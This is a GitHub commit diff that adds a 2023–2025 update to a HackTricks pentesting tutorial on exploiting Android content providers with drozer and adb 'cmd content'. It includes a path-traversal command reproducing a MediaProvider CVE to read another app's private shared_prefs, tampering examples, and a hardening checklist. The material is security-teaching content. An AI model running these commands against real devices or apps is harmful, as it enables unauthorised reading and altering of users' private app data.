Skip to content

Commit 294ed4e

Browse files
authored
Merge pull request #1136 from HackTricks-wiki/research_update_src_mobile-pentesting_android-app-pentesting_drozer-tutorial_exploiting-content-providers_20250716_082653
Research Update Enhanced src/mobile-pentesting/android-app-p...
2 parents 4769cc7 + efff12d commit 294ed4e

File tree

1 file changed

+59
-0
lines changed

1 file changed

+59
-0
lines changed

src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -191,13 +191,72 @@ Vulnerable Providers:
191191
content://com.mwr.example.sieve.FileBackupProvider
192192
```
193193

194+
## 2023-2025 Updates & Modern Tips
195+
196+
### Drozer 3.x (Python 3) is out
197+
198+
WithSecure resumed maintenance of drozer in 2022 and ported the framework to **Python 3** (latest **3.1.0 – April 2024**).
199+
Besides compatibility fixes, new modules that are particularly useful when working with Content Providers include:
200+
201+
* `scanner.provider.exported` – list only providers with `android:exported="true"`.
202+
* `app.provider.grant` – automatically call `grantUriPermission()` so you can talk to providers that expect `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` on Android 12+.
203+
* Better handling of **Scoped Storage** so file-based providers on Android 11+ can still be reached.
204+
205+
Upgrade (host & agent):
206+
207+
```bash
208+
pipx install --force "git+https://github.com/WithSecureLabs/[email protected]"
209+
adb install drozer-agent-3.1.0.apk
210+
```
211+
212+
### Using the built-in `cmd content` helper (ADB ≥ 8.0)
213+
214+
All modern Android devices ship with a CLI that can query/update providers **without installing any agent**:
215+
216+
```bash
217+
adb shell cmd content query --uri content://com.test.provider/items/
218+
adb shell cmd content update --uri content://com.test.provider/items/1 \
219+
--bind price:d:1337
220+
adb shell cmd content call --uri content://com.test.provider \
221+
--method evilMethod --arg 'foo'
222+
```
223+
224+
Combine it with `run-as <pkg>` or a rooted shell to test internal-only providers.
225+
226+
### Recent real-world CVEs that abused Content Providers
227+
228+
| CVE | Year | Component | Bug class | Impact |
229+
|-----|------|-----------|-----------|--------|
230+
| CVE-2024-43089 | 2024 | MediaProvider | Path traversal in `openFile()` | Arbitrary file read from any app’s private storage |
231+
| CVE-2023-35670 | 2023 | MediaProvider | Path traversal | Information disclosure |
232+
233+
Re-create CVE-2024-43089 on a vulnerable build:
234+
235+
```bash
236+
adb shell cmd content read \
237+
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
238+
```
239+
240+
### Hardening checklist for API 30+
241+
242+
* Declare `android:exported="false"` unless the provider **must** be public – from API 31 the attribute is mandatory.
243+
* Enforce **permissions** and/or `android:grantUriPermissions="true"` instead of exporting the whole provider.
244+
* Whitelist allowed `projection`, `selection` and `sortOrder` arguments (e.g. build queries with `SQLiteQueryBuilder.setProjectionMap`).
245+
* In `openFile()` canonicalise the requested path (`FileUtils`) and reject `..` sequences to prevent traversal.
246+
* When exposing files prefer **Storage Access Framework** or a `FileProvider`.
247+
248+
These changes in recent Android versions mean many legacy exploitation primitives still work, but require additional flags/permissions that the updated drozer modules or `cmd content` helper can apply automatically.
249+
194250
## References
195251

196252
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
197253
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
198254
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
255+
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
256+
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
199257

200258
{{#include ../../../banners/hacktricks-training.md}}
201259

202260

203261

262+

0 commit comments

Comments
 (0)